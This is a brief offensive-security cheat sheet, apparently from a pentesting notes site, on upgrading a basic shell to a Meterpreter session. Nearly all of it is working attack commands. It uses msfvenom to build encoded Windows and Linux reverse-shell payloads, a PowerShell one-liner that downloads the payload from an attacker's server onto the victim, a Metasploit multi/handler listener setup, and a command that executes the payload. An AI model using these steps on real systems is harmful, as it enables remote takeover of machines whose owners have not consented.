Upgrading shell to meterpreter

Shells (https://infinitelogins.com/tag/payloads/)

After getting basic shell access to an endpoint a meterpreter is nicer to continue with.

[attacker] Generate a meterpreter shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

ictim] Download to victim endpoint:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"`

[attacker] Configure listener:

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-ip 
set LPORT listening-port run`

[victim] Execute payload:

Start-Process "shell-name.exe"`